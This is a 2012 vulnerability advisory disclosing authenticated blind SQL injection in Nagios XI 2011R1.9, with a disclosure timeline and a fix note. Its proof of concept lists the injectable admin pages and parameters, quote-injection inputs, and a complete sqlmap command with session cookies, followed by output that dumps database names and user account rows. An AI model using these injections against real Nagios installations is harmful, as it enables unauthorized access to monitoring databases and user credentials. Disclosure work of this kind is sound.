Summary
Name: Nagios XI Network Monitor – Blind SQL Injection
Release Date: 30 November 2012
Reference: NGS00194
Discoverer: Daniel Compton <daniel.compton@ngssecure.com>
Vendor: Nagios
Vendor Reference: 0000282
Systems Affected: Nagios XI Network Monitor 2011R1.9
Risk: High
Status: Published
TimeLine
Discovered: 30 January 2012
Released: 31 January 2012
Approved: 31 January 2012
Reported: 31 January 2012
Fixed: 7 June 2012
Published: 30 November 2012
Description
Nagios XI Network Monitor 2011R1.9 – Blind SQL Injection within the administrator/monitoring interface. This is a commertical product for monitoring severs and network monitoring equipment.
I. VULNERABILITY
Nagios XI Network Monitor 2011R1.9 suffers from Blind SQL injection in several pages and parameters. This is exploitable as an authenticated user.
II. BACKGROUND
Nagios provide enterprise level network and server monitor software.
III. DESCRIPTION
SQL injection has been found and exploited/confirmed within the software as an authenticated user. This is the latest version of Nagios XI.
Technical Details
IV. PROOF OF CONCEPT
The following URL’s and parameters have been confirmed to all suffer from
Blind SQL injection.
/nagiosql/admin/checkcommands.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/servicegroups.php (POST parameters: chbActive,selCommandType)
/nagiosql/admin/hostgroups.php (POST parameters: chbActive)
/nagiosql/admin/services.php (POST parameters: chbActive)
/nagiosql/admin/hosts.php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval)
Manual confirmation of the chbActive parameter, insering a single ‘
tfName=ls tfCommand=x.txt selCommandType=0 chbActive=1’ hidActive= modus=insert hidId= hidLimit=0
tfName=ls tfCommand=x.txt selCommandType=0 chbActive=1” hidActive= modus=insert hidId= hidLimit=0
Exploiting with SQLMap:
python sqlmap.py –url http://192.168.1.121/nagiosql/admin/checkcommands.php –cookie “PHPSESSID=bbfqbou8tq71591ct6qrcakpg5; nagiosxi=nv78nq36n551h3e63ooprpe556″ –data=”tfName=ls tfCommand=x.txt selCommandType=0 chbActive=1 hidActive= modus=insert hidId= hidLimit=0” –dbms=mysql -p chbActive –dbs
[14:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
[14:55:26] [INFO] fetching database names
[14:55:26] [INFO] the SQL query used returns 3 entries
[14:55:26] [INFO] retrieved: information_schema
[14:55:26] [INFO] retrieved: nagiosql
[14:55:26] [INFO] retrieved: test
available databases [3]:
[] information_schema
[] nagiosql
[*] test
[14:25:26] [INFO] fetching entries for table ‘tbl_user’ on database
‘nagiosql’
[14:25:26] [INFO] the SQL query used returns 2 entries
[14:25:26] [INFO] retrieved: 11111111
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: Administrator
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: 2012-01-30 12:29:41
[14:25:27] [INFO] retrieved: 2009-10-22 12:53:49
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: ccc
[14:25:28] [INFO] retrieved: nagiosadmin
[14:25:28] [INFO] retrieved: 0
[14:25:28] [INFO] retrieved: 11111111
[14:25:28] [INFO] retrieved: 1
[14:25:28] [INFO] retrieved: Nagios XI Subsystem Account
[14:25:28] [INFO] retrieved: 4
[14:25:28] [INFO] retrieved: 2012-01-30 13:52:09
[14:25:29] [INFO] retrieved: 2009-10-22 12:55:08
[14:25:29] [INFO] retrieved: 0
[14:25:29] [INFO] retrieved: cccc
[14:25:29] [INFO] retrieved: nagiosxi
[14:25:30] [INFO] retrieved: 0
===============
Fix Information
===============
Fixed in 2012 version
